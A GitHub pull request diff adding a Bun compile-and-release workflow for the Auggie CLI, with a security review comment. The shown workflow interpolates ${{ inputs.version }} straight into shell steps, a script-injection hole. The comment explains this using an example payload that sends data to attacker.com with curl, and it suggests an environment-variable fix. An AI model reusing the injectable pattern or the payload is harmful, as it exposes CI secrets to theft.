Skip to content
Merged
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
68 changes: 68 additions & 0 deletions .github/workflows/bun-compile.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,68 @@
# Bun Compile
# Compiles Auggie CLI into self-contained native binaries using Bun,
# pulling the pre-built @augmentcode/auggie package from npm.

name: Bun Compile
on:
workflow_dispatch:
inputs:
version:
description: 'npm package version (e.g. 0.17.0)'
required: true
type: string

jobs:
build:
runs-on: ubuntu-latest
strategy:
matrix:
include:
- target: bun-darwin-arm64
output: auggie-bun-darwin-arm64
- target: bun-darwin-x64
output: auggie-bun-darwin-x64
- target: bun-linux-x64
output: auggie-bun-linux-x64
- target: bun-windows-x64
output: auggie-bun-windows-x64.exe
permissions:
contents: read
steps:
- name: Set up Bun
uses: oven-sh/setup-bun@v2

- name: Create entry point
run: |
echo 'await import("npm:@augmentcode/auggie@${{ inputs.version }}");' > augment.mjs
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Security: Script injection via ${{ inputs.version }}

Using ${{ inputs.version }} directly inside a run: block is vulnerable to expression injection. GitHub Actions expands ${{ }} expressions before the shell executes, so a crafted version string (e.g., containing '); curl attacker.com/exfil?t=$(cat ...) #) could break out of the string context and execute arbitrary commands.

This applies to this line and also to lines 64–65 in the release job.

The recommended fix is to pass the input through an environment variable, which the shell treats as data rather than code:

Current code:

      - name: Create entry point
        run: |
          echo 'await import("npm:@augmentcode/auggie@${{ inputs.version }}");' > augment.mjs

Suggested improvement:

      - name: Create entry point
        env:
          VERSION: ${{ inputs.version }}
        run: |
          echo "await import(\"npm:@augmentcode/auggie@${VERSION}\");" > augment.mjs

And similarly for the release job:

      - name: Create GitHub Release
        env:
          GH_TOKEN: ${{ github.token }}
          GH_REPO: ${{ github.repository }}
          VERSION: ${{ inputs.version }}
        run: |
          gh release create "v${VERSION}" \
            --title "v${VERSION}" \
            --generate-notes \
            artifacts/*

See GitHub docs on script injection for more details.

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

addressed


- name: Compile binary
run: bun build augment.mjs --compile --target=${{ matrix.target }} --outfile=${{ matrix.output }}

- name: Upload artifact
uses: actions/upload-artifact@v4
with:
name: ${{ matrix.output }}
path: ${{ matrix.output }}

release:
needs: build
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- name: Download all artifacts
uses: actions/download-artifact@v4
with:
path: artifacts
merge-multiple: true

- name: Create GitHub Release
env:
GH_TOKEN: ${{ github.token }}
GH_REPO: ${{ github.repository }}
run: |
gh release create "v${{ inputs.version }}" \
--title "v${{ inputs.version }}" \
--generate-notes \
artifacts/*

Loading